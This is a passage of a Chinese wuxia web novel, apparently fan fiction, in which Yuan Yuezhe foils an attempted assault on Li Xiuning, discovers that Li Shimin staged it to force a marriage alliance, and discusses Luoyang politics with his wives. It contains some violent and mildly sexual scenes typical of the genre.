察觉到侯希白眼神的不对劲,师妃暄慌忙压下如小鹿乱撞的芳心,瞬间再度恢复散发淡淡仙韵,凡人勿近的仙子神色。
师妃暄淡淡道:“今日多亏有侯兄在身边相助了,我们也回去吧。”
侯希白还在失魂落魄地回味师妃暄刚刚那动人的,闻言立即起身,二人并肩走向城门。
元越泽进得南城门,直奔自己家方向。
哼着小曲儿,晃荡在行人甚少的大路上,元越泽的突然感受到前方几十丈一个拐角处似是有低微的呻吟声。而周围似是还有数股内家修为不俗的气息时隐时现。
这里本就是城市边缘地带,房屋稀疏,居民更是少。
难道是有人在作恶?
想到此处,元越泽飞速前奔,眨眼间便窜出十几丈。未免打草惊蛇,强行压制所有气息的元越泽溜到拐角处的一个破旧废弃的草屋窗前。
听到屋内传出的女子嘤嘤低泣声,偷偷望进屋去,场面让元越泽勃然大怒!
草屋内,一个壮汉赤-裸上身,身下压着一位女子,一只手抓住被他后背挡住的女子柔荑,一只手似在撕扯着女子的衣衫。嘴里yin笑道:“你这小娘们可谓是人间绝色,老子也算是个英雄,美女配英雄,你也不亏。”
“你不放开我,我就死给你看。”
身下女子声音沙哑尖叫道。
元越泽心里‘咯噔’一下,任她声音再沙哑,元越泽也可听出这是李秀宁的声音!
“嘿嘿!”
那壮汉邪笑一声,李秀宁便再也发不出声音,似乎是嘴被什么东西给堵上了。
壮汉叫道:“这里人迹罕至,你喊也没有用,嘴巴被堵,想自尽也不能了!好好享受大爷给你带来的欲仙欲死快感吧!”
元越泽虽对李秀宁没什么感觉,但眼前景象已不能靠个人感觉来评定了。这是畜生的暴行,任何一个有良心的人都该去阻止。
“砰!”
元越泽压抑着的气息突然爆发,轰开草屋的一边墙壁,一个纵身,跳至屋内,双目寒光暴射,飞身直取对方头颅。
长发凌乱,秀眸红肿,梨花带雨的李秀宁上身霓裳早已破碎不堪,粉红色亵衣暴露在空气中,胸前洁白如玉的肌-肤亦露出一片。眼见元越泽那熟悉的身影如天神一般到来,李秀宁似是忘记了刚刚的屈辱,欢欣之情全部写在俏脸上。
那壮汉竟临危不乱,右手飞速扣向李秀宁咽喉,左手已经伸入怀中。突然,他察觉到有些不对劲,在他右手还没碰到李秀宁的玉颈前,眼前出现一个怪异的景象:自己的躯体居然跪在那里,而脑袋却不见了,身前站立着执剑的元越泽,同时,壮汉一切感觉全部消失。
一切都发生在眨眼间。
“李姑娘,你受惊了。”
元越泽见这壮汉行为怪异,来不及去思索其目的,望着双手抱胸,楚楚可怜的李秀宁,柔声道。
“哇!”
李秀宁再也忍受不住了,委屈的泪水夺眶而出。顾不上春-光外泄,衣衫凌乱,直扑到元越泽怀里,放声大哭起来。
元越泽长叹一声,搂过她轻抚香肩,并没有说话,只让她好好发泄心中的不快。
这一哭就哭了足足一刻钟,眼泪似乎是哭干了,李秀宁依然没有离开元越泽,只是将螓首埋在他胸前,香肩轻轻抽动。
“李姑娘为何会有这样的遭遇?难道出门没有人陪伴吗?为何又在这里?”
元越泽见她不离开自己,只好将她抱起,坐在地上,把她再放于自己腿上。
李秀宁的具体表情谁也看不到,因为她一直垂头伏在元越泽怀里。
“秀宁本是想来看望秀珣,今日出来时突然想一个人来,没想到却遇到……”
李秀宁颤声道,说到后来似是又抽泣起来。
元越泽长叹一口气,如果今天来晚半晌,恐怕悲剧就真的成真了。对这个时代的女子来说,比生命都重要。还好自己来得是时候,因为李秀宁如果出事,那秀珣可能也会有些不安,毕竟人家是来看望自己的。
又偎在元越泽宽广的胸膛前半晌,听着元越泽讲述一些好笑的事情,李秀宁渐渐忘记了委屈,甚至不时地娇笑两声。泪痕未干的俏脸上闪烁着快乐的光华,看得元越泽都有些失神。
轻轻用拇指为她拭去泪痕,元越泽笑道:“走吧,元某送你回去,否则怕你二哥担心。”
李秀宁虽然舍不得离开他的怀抱,却又找不到什么理由,只好羞红了脸蛋儿站起身形,内心并不想遮掩破碎衣衫下裸-露的身体,因为是给元越泽看的。可又怕元越泽以为自己是荡-妇,只好笨手笨脚地遮掩起来,霓裳断碎,如何遮掩也没用,李秀宁更是窘迫不堪。
元越泽饱览一番后闭目扫视手镯,从中取出一套无袖直襟低开衩旗袍。这些本是云机子放入其中的,元越泽原打算给自己家妻子们穿,哪知道她们都习惯了一身最简便的宫纱罩体,不喜欢穿这种正规的服饰。
李秀宁早知元越泽凭空取物的本事,见他突然取出一套怪异的长裙,打开一看,不禁更加面红耳赤。后世的这种裙装在古代人看来简直就是疯子,暴露狂才会穿的。可这衣服是元越泽送的,李秀宁珍而重之,期期艾艾地请元越泽屋外后,自己在屋里换穿起来。
片刻后,一袭碧绿色长裙包裹住曼妙多姿,修-长窈窕身段的李秀宁羞答答地走了出来,再没有半分女政客的样子。元越泽放眼望去,点头暗赞。
这种服饰与穿着者的气质要搭配才好,极其适合李秀宁这种生在大家,气质高贵之人。
“公……公子,这裙子好……好看吗?”
李秀宁小声问道。
元越泽笑道:“很好看,和你很搭配。”
语毕拉起她运起轻功奔向李唐在洛阳下榻的别院。
奔跑途中,元越泽思绪万千,想起了那几股隐藏着的真气,以他们的本事,应该可以听到李秀宁的求救,为何不出来帮忙?突然,元越泽脑海中闪过家中娇妻嘱咐自己千万小心李世民之事。
快奔至别院附近时,元越泽放慢速度,回头问不知在想什么的李秀宁道:“姑娘可否告知你二哥平日里所住的房间是哪一间?”
李秀宁有些莫名其妙,但也不好开口询问,遂指点元越泽,元越泽拉着她偷偷摸了过去。
李世民的书房内。
李世民,长孙无忌,庞玉三人合席而坐。
庞玉是天策府负责情报网络的头领,只听他开口道:“秦王,今日刚刚收到的消息,宋师道出走山城后在外地花天酒地半个多月,近日开始行走江湖,杀了不少恶霸,似是要过些快意恩仇的江湖生活了。”
李世民叹道:“他本来也是个人中之龙,奈何其心志不坚,没有得到半分‘天刀’的霸气血统。宋阀哀哉!”
长孙无忌亦笑道:“如此更是件好事,无忌要恭喜秦王少了一个对手。”
李世民没有半分欢颜,苦笑一声。
庞玉复又道:“宋师道的性格或许更适合江湖生活吧!消息中言明,他以一套剑法出名。想想宋缺以刀霸绝天下,传到自己的儿子,居然连刀都不会用了。真是荒谬!”
长孙无忌接话道:“宋师道之事就不必再理会了,眼下还是该把注意力放在元越泽身上。”
元越泽三字入耳,李世民表情更为复杂,半晌后,长长叹息一声,苦笑道:“无忌,庞兄,你们说世民还是人吗?还是个合格的兄长吗?”
长孙无忌闻言立即站起身形,跪倒在地:“这个计谋是当日无忌在宋家山城时一时想到的,后面没有想到会有机会实施。今趟有如此好的机会,秦王该高兴才对。明眼人都该看得出秀宁公主爱上了元越泽,虽然我们所用方法有些不妥,可结局对于双方来说都不是坏事。况且秦王以万民福祉为毕生目标,更是德才兼备。此次事成后,公主定会理解秦王的苦衷,元越泽对妻子的爱护是天底下出了名的。公主得幸福,秦王得大业,元越泽得娇妻,三方皆受益。如秦王觉得良心难安,一切罪责无忌请愿承担!”
李世民情绪似是有所好转,起身扶起长孙无忌:“无忌说得哪里话,世民还能不知你的心吗?只是……唉!”
庞玉开口道:“庞玉心知秦王怕给秀宁公主内心多添负担,此事毕竟不是发乎自然的。但请秦王相信,公主深明大义,是庞玉所见过最值得人称赞的女中豪杰,她一定不会怪秦王的。”
李世民爽朗一笑:“二位的苦心,世民皆知。唯一担心的是会不会计划出了乱子。”
长孙无忌道:“秦王这点可以放心,拿人钱财,替人卖命。老杜只有一个儿子,他只求让儿子生活得快乐,无忌已给他百两黄金,老杜亦应允即便死掉也绝不会出让事情出乱子。”
李世民又担心地问道:“世民当然相信无忌,只是那媚药之事……”
长孙无忌道:“这点也请秦王放心,关于媚药,无忌早已嘱咐老杜,使用时机一定要把握好,如提前被元越泽发现秀宁公主的所在,我们暗中隐藏的高手将会拖住元越泽,为老杜使用媚药争取时间。老杜行走江湖许多年,对这方面事情很有分寸的,媚药就是计划的关键,我们策划了许久,无忌以为这计划几乎没有任何漏洞。”
李世民点头叹道:“如此世民便放心了,希望元越泽可以给秀宁一生幸福吧!”
庞玉点头道:“虽然一直以来也没人能看透他,但只要他与公主成了夫妻,那他即便不支持秦王,也绝不好反对秦王了,按照他这人重情的性格来说,异日天下即将大定时,他应该还会看在秀宁公主的面子上来帮助秦王哩。”
李世民笑道:“不过也多亏他去强抢独孤凤,才让我们知晓了原来他并不是只看重一个女人的姿色的!秀宁任何一方面都要强于独孤凤。正因为如此,无忌的计划才得以实施起来。”
庞玉语带轻蔑地道:“宋家小姐哪里比得过我们公主?如果当日秀宁公主在她之前遇到元越泽,那秦王还哪里会有烦恼呢,一定做梦都在发笑!”
李世民与长孙无忌见庞玉说话有趣,大笑起来。
隐藏在书房外几尺远,全力压抑气息的元越泽与李秀宁听得目瞪口呆。
元越泽心思电转间,便已凭借刚刚的对话猜到他们的计划。
李秀宁被人强-暴一事竟然只是计划的一个环节而已!那施暴壮汉,暗中隐藏的几股气息居然全是李世民安排的人手。再深想下去,元越泽回家路线,今日的一切行踪,全是被李世民算计在内的!这需要许多的探子,包括流动的,安排在王世充身边的,等等。
好毒的计。
这个计划正如单美仙所猜测那般,一旦元越泽与李秀宁有了夫妻之实,那么以元越泽的性子,即便不帮助李唐,却也不好反对他们。刚刚闻听李世民还虚伪地在叹气,觉得如此利用自己妹子愧对良心,都是假的!他只不过是想让手下安慰他几句,给他几句认同的语言而已!李世民是个野心家,同时也是有血有肉的人,兄妹之间感情深厚,这般利用妹妹,即便心如钢铁的他亦会在内心最深处感觉难过!不过,这种难过显然不会持续太久,因为他的政治家,野心大过一切,为了成就霸业,谁都可以牺牲!更何况自己只是利用了一下妹妹,虽然手段有些肮脏,结果却是各方都满意的。政治家只会在乎结果,才不会在乎过程,手段如何。
他们算漏了最关键一点,那就是元越泽的实力远超他们请的那些隐藏着的高手,更是在被他们发现前就已经冲进草屋内。回想起来,元越泽才发现,自己根本没注意到隐藏着的几股气息是何时消失的,想来应该是察觉动手时机已去,便先行逃跑了吧。
再想到长孙无忌提到的媚药,元越泽知道定是还在那壮汉身上。
拉着表情麻木的李秀宁奔到事发现场,搜索一下那无头壮汉的尸体,果真发现他怀中藏着的一个小瓷瓶。
握着那瓷瓶,元越泽终于明白了这壮汉为何临死前依旧想擒住李秀宁,就是想将这媚药用在李秀宁身上。元越泽自语道:“长孙无忌,李世民,你们好毒啊!可惜你们千算万算,却将我元越泽的实力看扁了!”
侧过头,只见李秀宁失魂落魄一般面无表情,元越泽心中突然升起一种从没有过的爱怜,紧紧把她抱在怀里。这计划也许不被他们在误打误撞下听到还好一些,起码李秀宁不会像现在这般。
她无奈?痛苦?伤心?幽怨?抑或是愤怒?
元越泽亦不知她的内心究竟在想些什么,惟有抱起她窜上两丈多高的一处破烂墙头,将她放在自己腿上。
李秀宁心里的感觉,连她自己都说不清楚。
自己从小到大接受的教育就是一切只为家族着想,这些年来,毫无疑问地,她已经成长为一个出色的政客,甚至在她内心最深处隐约觉得自己并不比二哥差。论心机,论智慧,论手段,他比太多的男人都要强。自己二哥也不是没利用过自己,比如将自己许给柴家,再比如元越泽声震天下后,也曾说过要将自己许配给元越泽。
这么做都是为了家族,李秀宁心底这样劝自己,为了得到某样东西,那就必须要失去某样东西,这是世间永恒不变的原则。
从前的几次,李世民都会与李秀宁说清楚一切计划,李秀宁自己认命的同时,更是理解自己二哥的决定,自己比谁都要了解他,他的野心是很大,但他一旦坐上高位,那也代表这李家的兴旺,作为李家的一员,自己又有什么理由不去支持他呢?何况这年代大家族的女儿几乎都是同样的命运,政治筹码而已。
但今日,与元越泽竟然鬼使神差下偷听到自己二哥的计划,李秀宁的心已经迷失了方向。她本就是心思玲珑之人,甚至凭借那一段对话已推敲出李世民的全部计划。
自己心里喜欢元越泽,这个是事实,但元越泽一直以来对自己都是冷冷淡淡的,如果结果真如自己二哥预料那样,自己确是会很幸福,可这样对得起眼前这个真诚的男子吗?
元越泽今日危机时刻救下自己,本要感谢苍天时,却发觉一切竟然是自己的好二哥刻意安排的!甚至他们还想到了使用媚药!
李秀宁心乱如麻,不知该不该怪李世民。但她却认为,这件事已经狠狠地伤害了元越泽。
李秀宁不敢再抬起头来,根深蒂固的想法使她认为二哥没多大错误,是利用自己,同时也是为自己好,自己也认了,反正一切都是为了家族。但此时她该如何面对元越泽那双深邃清澈的双眸?
“有一种植物,叫向日葵。”
二人沉默许久,元越泽深深望着李秀宁,缓缓开口道。
向日葵是明朝才传入中原,是以李秀宁当然没可能听过。她还在踯躅于如何面对元越泽时,听闻元越泽突然开口,即没有提及刚才的事,也没有怪罪谁的语气,反倒更让李秀宁内心不安,她觉得元越泽如果大骂李世民或者大骂自己一顿,那自己会舒服很多。
“它只开一朵花,在茎的顶端,开花的时候,花朵是盘状的,花蕊一直都是朝向太阳,所以叫向日葵。秋季时,花盘上结满果实,沉甸甸的,顶端的花盘亦不再朝向太阳,而是垂下,你知是为什么吗?”
元越泽眯着双眼,继续讲道。
李秀宁从没见过这种怪怪的植物,亦不知元越泽话中到底是何意思,只是摇了摇头。
“因为它背负的东西太重了。”
元越泽淡淡道。
心思机敏的李秀宁刹那间就把握住关键,麻木的俏脸上,两行热泪垂下,缓缓闭上秀眸,幽幽长叹一口气。
元越泽的话里虽然没表明对李世民的态度,但他此时最想做的居然是安慰自己?是啊,我背负的东西太重了,但哪一个人不是如此呢?
“公子如果骂秀宁几句,秀宁心里会舒服得多。”
李秀宁香肩轻颤,轻声开口道。
元越泽一愕,他当然不可能轻易放过李世民。但眼下,这可怜女子心中亦绝不好受,自己该先安慰她。
“事情你也不必放在心上,如何做,我心里有数。”
元越泽安慰他道。
李秀宁心头登时泛起一种强烈的不安感:“难道你……”
元越泽眯起双眼,望向远方,语气平缓地道:“他们算计我亦很正常,因为我成了他们潜在的绊脚石。一计不成,还会再有计,如果他们惹到了我的底线,那天下将没有任何地方可供他们安身。”
这话说在他的口中,听不到半分的威势与压迫感。可李秀宁却知他这话绝对是言出必行!
元越泽话中的意思,李秀宁作为乱世中一大势力李唐的高层人士,当然再清楚不过了。元越泽这种人只要还有一口气,无论他在哪里,都不会叫有野心的人安生的!
这就是威胁感,这就是恐惧感!
李秀宁突然想为自己二哥求情,但元越泽从来不去主动招惹别人,她还有什么资格去求元越泽?
“秀宁可是要后放你二哥一马?”
元越泽微笑地望着她,不知不觉间称呼都改变了。
第一次听到元越泽这么唤自己,李秀宁本该高兴才对,可她心里却丝毫也高兴不起来,因为她的心情,实在太矛盾了。如按平日里她的豪情,智慧,决绝,狠辣,此时如不利用元越泽,那才真是傻瓜呢!可元越泽处处为他着想,这种真诚的态度足以唤醒任何人心中的那份纯真,何况最让她芳心懵懂的就是眼前的这个男子。是以她此刻没有丝毫想去利用元越泽的心情,反倒不知为何开始怪罪起本已原谅的二哥来。
“最是无情帝王家啊!”
元越泽声音中透露着无奈,长叹道。
李秀宁更是不知该如何开口了,元越泽句句都在替她着想。
再次陷入沉默,轻风偶尔吹过,拂起两人长发。
想到自己抢回独孤凤以后,王世充,李世民就开始对自己使美人计,元越泽哑然失笑。再想到如果今日真被李世民给算计成功的话,元越泽的行动将会束手束脚,一定会将中原一统的日期拖后的,那将代表着更多的无辜百姓与士兵的惨死!轻叹口气后元越泽再次开口:“今日之事,我会忘掉的,你也不必记在心上。”
言下之意,这事就不追究了,其实本来也没什么损失。
“那秀宁就告辞了,公子多保重。”
李秀宁面色凄苦地道。
元越泽知她定是心乱如麻,自己一个人花些时间想清楚会更好,反正该说的也都说了。
两人再没说一句话,点头后分别走往不同方向。
洛阳城外百里,大洪山。
五人围坐在一隐秘的山洞内,闭目调息。这几人身材壮硕结实,眼中精光闪闪,身上所散发的气势更是无法让人小觑,似是武学修为极高之辈。
“世民贤侄,你的好叔叔骗了你一次,希望你能长长教训吧!”
半晌,看似是五人中的老大睁开双目,精光猛射,开口叹道。
第045章 兰陵秘辛
尚书府。
王世充独自坐于高座上,按摩着自己的太阳穴,闭目养神。
“笃笃!”
王世充睁开双眼,对着房门道。
一道凉风吹过,下座上多了一个身材柔弱的男子。房门却仿佛根本动都没动过似的。
“圣使,圣尊有令下达,一切皆以圣使的意志行动。”
那男子阴阳怪气地开口道。
王世充点了点头:“圣尊是得到了和氏璧去闭关了?”
座下男子摇了摇头:“圣尊完美之体被破,心境似是有些不稳,只留了一句‘圣教最重’后便失去踪迹。”
王世充露出惊讶凝重之色,皱眉道:“那日圣尊只着我们所有力量拖住元越泽,后面到底发生了什么事,我们却完全不知晓。”
座下男子答道:“圣使该看得出元越泽的伤势异常重,定是与圣尊拼斗后造成的,后面接二连三的比拼下,即便他是神,也承受不住吧!”
王世充点头道:“此人威胁一去,对付李密那老贼就简单得多了。”
“至于昨日城外那场大战,很是惨烈,属下在元越泽几人离开后查看了那些尸体残肢,更加肯定了他们一定是突厥那个神秘宗教派来的。便再无其他线索。”
座下男子又答道。
王世充眉头紧皱:“目下我们也不必去在乎他们,他们的目标应该是元越泽才对。等洛阳事了,我们再料理那些突厥人。”
“是了,我叫你去元越泽家附近安排的事情办得如何?”
王世充复又问道。
座下男子点了点头,示意已办妥。
王世充脸上绽开一个老奸巨猾的笑意。
一夜胡天胡地,元越泽第一个醒来,看着身边的臀波乳浪,几个海棠春睡的美娇妻,心头泛起一种无限的满足感,想起昨日回来谈论之事,元越泽又陷入沉思。
从乌金战将与宇文阀的关系,宇文阀现在又投靠了李密,元越泽已可推知两个结果。一是李密本就与那群乌金战将有关,他们都是辅佐李密之人。二就是李密是个笨蛋,早晚得败在宇文阀这个内奸手上,更何况……
再联想到李密与王世充的敌对关系,元越泽的思绪更加清晰起来。这些乌金战将定不是大明尊教中人,因为元越泽几乎可以肯定王世充定是大明尊教中人,那么,这些乌金战将或许会与那日有过一面之缘的红衣法后有着很深的渊源。
这些人偷袭婠婠与师妃暄,实际上师妃暄只是捎带着而已,从他们当时绝大部分人都围剿婠婠的情形看,他们第一目标当是婠婠。
元越泽与婠婠,只要有心人稍一留意,都可知道虽然二人关系不明确,却异常亲密。元越泽的死穴就是他的女人们。如能活捉婠婠,再干掉师妃暄,不单中原黑白两道皆受损,元越泽未来行动也将束手束脚。这是相当好的一石二鸟之计。
与云玉真几女商讨过打斗经过,元越泽猜测到这些乌金战将一批比一批厉害,但一批比一批少。杀掉一批对方就会损失很大。目前无暇去顾及他们,唯一能做的就是兵来将挡。
再想到昨夜那些自以为是的暗听者们,元越泽心头更是大笑不已,他们只有来没有回。即便他们身体怪异,不会流血,但傅君婥的御剑术却直接将他们碎尸。只是不知这些暗听者们为何胆子这么大,是哪一方势力派来的?目前也就只有李世民,王世充,李密敢暗中算计元越泽吧!
说到昨日那古怪剑招,傅君婥竟然在内心产生类似于当日单美仙的共鸣。商秀珣这小醋坛子再一次打翻在地,看得一家人大笑不已。
再想到李秀宁,元越泽心头暗叹,她对自己的情意,自己可以感觉得到。但目前情形下,却绝不可招惹她,否则只会让她两面难做。如二人真的成了‘好事’,李秀宁定会希望双方和平共处,但这显然是不可能的,无论元越泽,还是李世民,他们注定只有一方能成功。李秀宁既然选择了为她家族而认命,那元越泽自然也会把二人关系摆端正。
但,李秀宁真的如元越泽所想这般吗?
李唐下榻的别院。
李秀宁身上穿着元越泽昨日送她的旗袍,面色憔悴地呆坐在床边。
想到昨天自己回来,李世民迎接出来时,看见自己身着这身怪异的裙装,眼中立即闪过惊喜之色。李秀宁在那一刻心头更寒,因为以李世民的机智,见此刻妹妹换了一身怪服饰回来,这种怪服饰恐怕只有元越泽才有吧!那定是二人已经成了好事!
李世民本欲问起李秀宁事情经过,突见庞玉急匆匆过来耳语几句,李世民脸色立变,安慰李秀宁几句便离开。
李秀宁心神俱疲,昏沉沉睡到黄昏时分,起床后问候李世民,察觉李世民神色焦急,原来是刚刚从西域归来的五位护国法师不辞而别。这五人对李唐的重要性绝非等闲人可以想像得到。
李秀宁心思急转间,已想明白了是怎么一回事儿。只从李世民脸上焦急中夹杂着失望的表情来看。他把这次计划看得比妹妹还要重。因为李秀宁并没透露事情经过,李世民按理来说该先安慰差点被恶人害了的妹妹才对。
“因为它背负的东西太重了。”
这句话再次回响在耳边,李秀宁察觉内心已经乱得不行。李世民突见李秀宁的表情,登时恍然大悟,待要安慰李秀宁时,她却婉言拒绝,独自回房,留下有些愕然的李世民。
“如果他们能好好相处该多好!”
李秀宁内心幽幽地想到。
但她明白,这只能是假想,是永远也不可能实现的。李世民即便死也不会放弃他的野心,元越泽虽然目的并不为人所知,却已如他所说的那样,他的目的到底如何,已经不重要了,他的存在,他只要还有一口活气,就足以让那些野心家们寝食难安。
低头轻抚丝绸制成的长裙,李秀宁心中第一次升起怀疑自己的念头:我是为了家族,可谁又体谅过我?除了他,还有哪个男人理解过我?这些年来我的付出值得吗?
蓦地,她突然清醒过来:刚刚优柔寡断,胡思乱想的人还是自己吗?
头突然痛起来,困意不期然再度袭来。
缓缓闭上红肿未消的秀眸,李秀宁再次沉睡,也许,梦境中可以忘掉一切烦恼吧!
胡思乱想间,身旁的商秀珣嘤咛一声转醒,如醇香浓郁美酒一般朦胧的一双美眸缓缓睁开,望上坐在身边的元越泽。甜甜一笑后,坐起身形伸了个懒腰。无限美好的上半身如光滑象牙白玉一般暴露在空气中,略显凌乱的秀发,春意未消的眉梢,完美无瑕,微带红晕的轮廓,慵懒淡雅混合的诱-人风情,看得元越泽大吞口水。
眼见元越泽失魂落魄的样子,商秀珣满是自豪感,故意挺了挺高耸丰-满的胸-脯,抛给元越泽一记媚眼,娇声道:“夫君早。”
早什么早,元越泽一双咸猪手早按捺不住了,直接把她搂在怀里由亲又啃,大手更是忙个不停,俨然一个急色鬼。
还好商秀珣刚刚由睡眠中转醒,肌体神经反应还不是很敏感,但也受不了元越泽的强猛攻势,只好娇喘吁吁的强行按住他:“不要了,秀珣来不了了,好好和人家说说话不好吗?”
满足了手足之欲,元越泽也不勉强她,二人只是静静地偎依着。
半晌后,元越泽开口问道:“秀珣的《天衍卦》悟得怎么样了?”
商秀珣仰起螓首,笑靥如花道:“人家才只是悟懂了一两分而已,许多事情觉得可以卜算到,却又不敢太肯定。”
元越泽点头道:“不要累着自己,你只要当成一门兴趣就好,如果超过兴趣的范畴,难免会变成负担。”
商秀珣用力地点了点头,贝齿轻咬元越泽的胸口,娇声道:“夫君最好了。”
二人有一句没一句的聊着,半刻钟后,其他几女已陆续转醒。
随意再聊几句,云玉真突然开口道:“对了,昨日有消息传来,李密的十万兵马已经从荥阳出发了,如果预料不错的话,最多五,六日就将兵临洛阳城下。风云将起了。”
“你们私下接触王世充心腹之事办得如何?”
元越泽问道。
单美仙无精打采道:“如今夫君一直以弱者的姿态示众,妾身们哪有本钱去与他们谈判?”
元越泽点点头,揽过她安慰道:“真是难为你们了,但洛阳一定不能让王世充坐稳。我想起师傅说过的洛阳带皇者之气的人,应该就是他。如不收买他的几个心腹,我们一旦高调出现,暗中那些势力很可能会想出更毒的计谋。最要命的是,他们和王世充并不是一路的,所以目的到底是什么,很难让人摸得清。”
卫贞贞接口道:“以贞贞与他接触过几次的经验来看,杨公卿此人可信,他虽是王世充的老部下,却对王世充极其不满。虽然夫君说过杨公卿并不一定了解真正的王世充,可那又如何?这该是件好事才对,我们可以支持他。至于王世充的其他手下,大都是墙头草。”
云玉真叹道:“民心还好说,夫君在洛阳的魅力大到无法想像。可是军心却需要合格的将领来支配,所以必须要想个两全其美的法子。”
“贞贞今日再去见一见杨公卿。”
卫贞贞垂头思索后道。
单美仙转向她:“贞贞亦可稍微透露一下我们的实力给他,否则只凭私人交情是起不到多大作用的。”
卫贞贞点头道:“杨公把贞贞看做女儿一般,王世充手下负责情报的玲珑娇亦与贞贞关系密切。如能稍微透露些底细给他们,想必效果会更好。”
元越泽想起之前参加王世充宴会时,杨公卿私下与他说的那一番话,现在看来似乎真的是发自内心,当下笑道:“那就要贞贞自己把握好尺度了。”
卫贞贞点了点头。
“王世充手下的将领真的没几个人杰,阿谀奉承之辈倒是不少。他二儿子倒还不错,但不可能偏向我们,毕竟有血缘关系摆在那里。”
卫贞贞又道。
“关于夫君说在西苑偷看到王世充情报纸条中所写的‘袭皇宫’一事,玉真想来想去亦觉得这里面古怪,怕是隐约在引夫君上当。”
云玉真接口道。
元越泽笑道:“不管他这一手是真还是假,都不可能对咱们产生任何作用。”
几女亦是会心地点了点头。
单美仙转开话题道:“后晚那荣凤祥要举行寿筵,也邀请了夫君。”
元越泽突然笑了起来:“那妖道还邀请我?我才懒得去呢!”
单美仙亦咯咯娇笑起来:“夫君若不去可就真的不好了,因为妾身年轻行走江湖时,认识一位好友,就是曾经名震天下的一代大家明月,只可惜天妒红颜,明月她去得太早了。明月的女儿秀芳,同样以音乐才艺名扬天下,前日才到洛阳,就住在曼清院里。她本来此行只准备献艺两曲的,一曲在曼清院,一曲在王世充府邸。但荣凤祥在洛阳官场商场都很吃得开,为了面子便邀请她,谁知她并未答应,只说如果他可以请得动夫君,秀芳便也不介意献上一曲。而秀芳的名气夫君该了解的,尤其她背后支持他的人群,如果夫君能出席,那是传得好名声,又给了各方面子,又何乐而不为呢?”
元越泽撇撇嘴道:“摆什么大架子,老子就不去!”
众女一愕,随后笑得花枝乱颤。
傅君婥娇笑半晌后道:“那夫君不也一直在摆架子吗?想这数月来,各方请柬至少有数百封,夫君真正去赴宴的不过两三次而已。”
元越泽听后也呆住了,傅君婥所说的确不错。
佯装咬牙切齿地将她赤-裸的身子抱过来一顿‘蹂躏’,傅君婥连忙求饶。元越泽才开口道:“我摆架子是因为我们来此并不是作乐的,而是有更重要的事等着我们去做,但那尚秀芳只是作乐而已。”
单美仙亦笑道:“夫君可是看不起她身在青楼?”
元越泽诧异道:“你这不是在侮辱我的人格吗?我何时有瞧不起过女子?”
单美仙更是笑个不停:“妾身并非那个意思。妾身知夫君一直对暗中势力不放心,刚才的话只是随口说说而已。但妾身要夫君去赴宴的原因是因为她怎么说都要叫妾身一声阿姨,昨日更是差人送信来,要与妾身一见,毕竟都五,六年未见过了。让她见见妾身所托之男子,又有何不妥呢?”
元越泽讪讪地点了点头,不过依旧固执地开口道:“洛阳马上要大乱了,王世充私下里搞些鬼把戏让人防不胜防,你去吧,我还是留在家里与玉真她们再探讨一下。”
“你要尚秀芳见见你托身的男人,请她来咱们家来一次不就行了吗?我亲手给她做一顿大餐,岂不比那种嘈杂虚伪的场合好上千百倍?后晚宴会前,你先去曼清院同她说一声,可别因为我没赴宴导致尚秀芳亦不献艺,从而惹得众人大怒,他们不怕来送死,我还嫌麻烦呢!”
元越泽见单美仙闷闷不乐的表情,猜想到她的心情,立即柔声道。
果然,单美仙不悦之色一扫而光,立刻点头应是。
午后。
萧琲终于回来了。
行色匆匆,风尘仆仆。
落座后休息半晌,萧琲开始讲述这几日发生的事情。
和氏璧被双龙所盗,本来以他二人的身躯,肯定是要死在和氏璧异能下的,但二人不但学有《长生诀》更是得传神奇的《凝神诀》是以两人不但不死,反倒彻底吸收和氏璧异能,如原著般改穴换脉,二人实力突飞猛涨。目前正在山城内一边养伤,一边准备做进一步的提升。
元越泽心头气恼这两个混小子,只要听到他们没事就行了,当下追问道:“你这几日去了哪里?”
萧琲有些支支吾吾,似是有难言之隐,又似是不知从哪里说起。
“有什么事情说不出口?”
元越泽好奇问道。
萧琲摇摇头,长呼了一口气:“夫君应该已经知道,那日正是妾身救下寇仲他二人,还遭遇了最强的敌手。”
元越泽点了点头:“事后我们思索后,觉得应该就是那红衣女子设的调虎离山之计,分散开你们。而那圣尊则是安排王世充拖住我。”
萧琲亦点头道:“妾身与寇仲他们二人一路上经过商讨,猜测到由寇仲他二人偷偷摸入净念禅院那一刻起,就已经迈入了别人的圈套,但是却无法肯定究竟是那圣尊还是那法后设下的。”
再次说到法后二字时,萧琲脸上不自然之色渐浓。
单美仙笑道:“这些事情我们几日来已经说过许多次了,今日闻妹妹此语,更加肯定了那和氏璧中除了异能外,很可能还有另外玄机。”
当日几女中计,分散战斗于洛阳城外各处,碰头后亦只是简单交代几句便各自行事,是以并没时间探讨更深层次的问题。
萧琲点头道:“也不一定全如姐姐所说,须知中原外的有些宗教会把一块外人眼中的烂铁当作至宝供奉。”
元越泽插口道:“关于和氏璧的事,眼下也只能猜测,其中的奥秘就不用再胡乱猜想了。日后再说也不迟。”
萧琲默默地点头:“其实妾身怀疑那个红衣女子与妾身似是有些渊源。”
众人大讶,连忙询问起来,在众人眼中,大明尊教还要好一些,因为有一些事情早被元越泽一家知晓。而那红衣法后与身着乌金铠甲死士的来历及目的,却完全是个谜。
萧琲挤出一丝笑意,娓娓开口道:“妾身父亲萧岿,当日是为西梁明帝,诸多子女中,有一兄一弟最为出色,分别是萧琮与萧瑀。”
卫贞贞插口道:“姐姐这等才女,并不比哪个男子差。”
萧琲笑了笑,复又继续道:“弟弟萧瑀当日因反对远征高丽,被贬为河池郡守,如果妾身猜测不错的话,他现在该已投靠了长安李唐。因为当日就是他一直在反抗薛举进攻,李唐占得长安,李世民曾亲自率兵出击薛举,以李世民的个人魅力与实力,弟弟没理由不投靠他。”
众人也不知萧琲到底要讲什么,只有静静听下去。
“南北朝时期本就是战祸不断,兄长萧琮继位西梁后主,博学有才,善于弓马,个性倜傥不羁。后梁被旧隋吞并后,兄长亦被废为莒国公,当日叔父萧岩等人并且带了一部分居民逃入陈朝。兄长在隋朝时仍然受到器重,杨广即位后又封兄长为梁公,内史令,加上妾身的关系,兰陵萧氏一族有的亲族也有不少被提拔入朝廷为官。当时却突然有有童谣说‘萧萧亦复起’,导致杨广对兄长的猜忌,最后兄长被罢官,一病不起。”
元越泽好像是在听历史故事一般,这与捧着史料去读完全是两种感觉。
